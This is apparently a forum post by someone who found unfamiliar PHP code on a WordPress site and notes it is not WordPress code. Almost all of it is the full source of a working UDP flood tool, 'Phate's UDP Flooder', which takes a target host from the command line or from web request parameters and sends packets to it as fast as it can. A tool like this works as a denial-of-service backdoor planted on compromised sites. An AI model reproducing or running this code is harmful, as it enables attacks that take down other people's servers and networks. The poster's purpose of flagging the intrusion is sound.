I think this code is not part of the wordpress base code 🙂
<?php $version = '1.0.10'; $file = end(explode(DIRECTORY_SEPARATOR, __FILE__)); $cache = true; $cacheData = array(); echo "Wtf?"; // Determine web/CLI if (defined('PHP_SAPI') || function_exists('php_sapi_name')) { if (PHP_SAPI == 'cli' || php_sapi_name() == 'cli') { echo '===========================' . PHP_EOL; echo 'Phate\'s UDP Flooder V' . $version . PHP_EOL; $cli = true; $args = $_SERVER['argv']; if ($_SERVER['argc'] == 1 || $args[1] == '-h' || $args[1] == '-help') { echo 'Usage:' . PHP_EOL; echo $file . ' [host/ip] [time=300] [port=random] [size=optimised/cache]' . PHP_EOL . PHP_EOL; echo $file . ' (shows this)' . PHP_EOL; echo $file . ' 1.2.3.4 (floods host for 300 seconds on random ports)' . PHP_EOL; echo $file . ' 1.2.3.4 60 (floods host for 60 seconds on random ports)'; echo $file . ' 1.2.3.4 0 80 (floods host on fixed port, indefinitly)'; echo $file . ' 1.2.3.4 300 80 25000 (floods host for 300 seconds on fixed port with fixed packet-size, disabling optimised speed)' . PHP_EOL; echo $file . ' host.io 0 0 35000 (floods host on random port with fixed packet-size, disabling optimised speed, indefinitly)' . PHP_EOL; echo $file . ' host.io -nocache (optimised speed without cache)' . PHP_EOL; echo $file . ' -showcache (shows optimised speed/from cache)' . PHP_EOL; echo '===========================' . PHP_EOL; exit(0); } } } if (!isset($cli)) { set_time_limit(0); $cli = false; @ini_set('output_buffering', 'off'); @ini_set('zlib.output_buffering', false); @ini_set('zlib.output_compression', false); @ini_set('implicit_flush', true); for ($ob = 0; $ob < ob_get_level(); $ob++) { ob_end_flush(); } ob_implicit_flush(true); header('Content-type: text/plain'); header('Cache-control: no-cache'); echo str_repeat(' ', 1024) . PHP_EOL; // fixes bugs } if ($cli) { for ($i = 1; $i < count($args); $i++) { if (trim($args[$i]) == '-nocache') { $cache = false; echo '- cache disabled' . PHP_EOL; } if (trim($args[$i]) == '-showcache') { if (file_exists($file . '.dat')) { exit(file_get_contents($file . '.dat')); } exit('No cache available'); } } } else { if (isset($args['nocache']) && $args['nocache'] == 'yes') { $cache = false; } } if (file_exists($file . '.dat')) { $cacheData = explode(PHP_EOL, file_get_contents($file . '.dat')); foreach ($cacheData as $index => $value) { $tmp = explode(';', $value); $cacheData[$index] = $tmp[0]; } } else if (isset($_SESSION['pufsize'])) { $cacheData[] = $_SESSION['pufsize']; } if (!$cli) { $args = array(); if (isset($_REQUEST['hostname'])) { $args[1] = $_REQUEST['hostname']; } if (isset($_REQUEST['time'])) { $args[2] = $_REQUEST['time']; } if (isset($_REQUEST['port'])) { $args[3] = $_REQUEST['port']; } if (isset($_REQUEST['size'])) { $args[4] = $_REQUEST['size']; } } if (count($args) >= 2) { $host = $args[1]; if (!isset($args[4])) { if ($cache && empty($cacheData)) { echo '- no cache available' . PHP_EOL; echo '- creating one takes a few seconds, hold on' . PHP_EOL; if (!$cli) { flush(); ob_flush(); } } } $size = isset($args[4]) ? intval($args[4]) : getSize(); $strt = time(); $time = (isset($args[2]) ? intval($args[2]) : 300); $mxtm = time() + $time; $port = isset($args[3]) ? intval($args[3]) : 0; $pcks = $last = 0; $pckt = str_repeat('P', $size); while (true) { $time = (time() - $strt); if (time() >= $mxtm) { echo str_pad(@round($pcks / $time, 2), 15) . "p/s \t" . str_pad(@round(((($pcks * $size) / 1024) / 1024) / $time, 2), 7) . "MB/s \t " . str_pad(($mxtm - time()), 5) ." seconds left " . PHP_EOL; break; } $pcks++; $tport = $port; if (!$port) { $tport = rand(21, 65024); } $fp = @fsockopen('udp://' . $host, $tport, $ern, $ers, 1); if ($fp) { fwrite($fp, $pckt); fclose($fp); } if ($last != time()) { echo str_pad(@round($pcks / $time, 2), 15) . "p/s \t" . str_pad(@round(((($pcks * $size) / 1024) / 1024) / $time, 2), 7) . "MB/s \t " . str_pad(($mxtm - time()), 5) ." seconds left \r"; if (!$cli) { echo PHP_EOL; flush(); ob_flush(); } $last = time(); } } if ($cli) { exit(PHP_EOL . '===========================' . PHP_EOL); } } function getSize() { global $cli, $cacheData, $file, $host; if ($cli) { if (!empty($cacheData[2])) { return $cacheData[2]; } } else { if (!empty($_SESSION['pufsize'])) { return $_SESSION['pufsize']; } } echo '[NOTICE] Performing size-check, this takes about a minute.' . PHP_EOL; $size = 5000; $speed = '?'; $bestsize = 0; $bestpackets = 0; while ($size <= 65000) { $end = time() + 5; $packets = 0; while (true) { if (time() > $end) { break; } $package = str_repeat('X', $size); $fp = @fsockopen('udp://' . $host, 80, $ern, $ers, 1); if ($fp) { @fwrite($fp, $package); fclose($fp); } $packets++; } $toBeat = round( ($bestsize * $bestpackets) / 5 ); $beatMe = round( ($size * $packets) / 5 ); $speed = round (($beatMe / 1024) / 1024, 2); if ($beatMe >= $toBeat) { echo '[Update] New speed: ' . $size . ' bytes, ' . $packets . '/s, ' . $speed . 'MB/s' . PHP_EOL; $bestsize = $size; $bestpackets = $packets; } else { echo '[Skipping] ' .$size . ' bytes, ' . $packets. '/s, ' . $speed . 'MB/s' . PHP_EOL; } sleep(1); $size += 5000; } if ($cli) { $fp = @fopen(str_replace('php', 'dat', $file), 'W'); if (!$fp) { echo '[WARNING] Cache file could not be created. Optimised size is ' . $bestsize . ' at ' . $toBeat . ' MB/s' . PHP_EOL; } else { $fw = fwrite($fp, $bestsize . '; packets per request' . PHP_EOL . $toBeat . '; MB/s'); if (!$fw) { echo '[WARNING] Could not write to cache file. Optimised size is ' . $bestsize . ' at ' . $toBeat . ' MB/s' . PHP_EOL; } fclose($fp); } } else { $_SESSION['pufsize'] = $size; $_SESSION['pufspeed'] = $speed; } return $size; }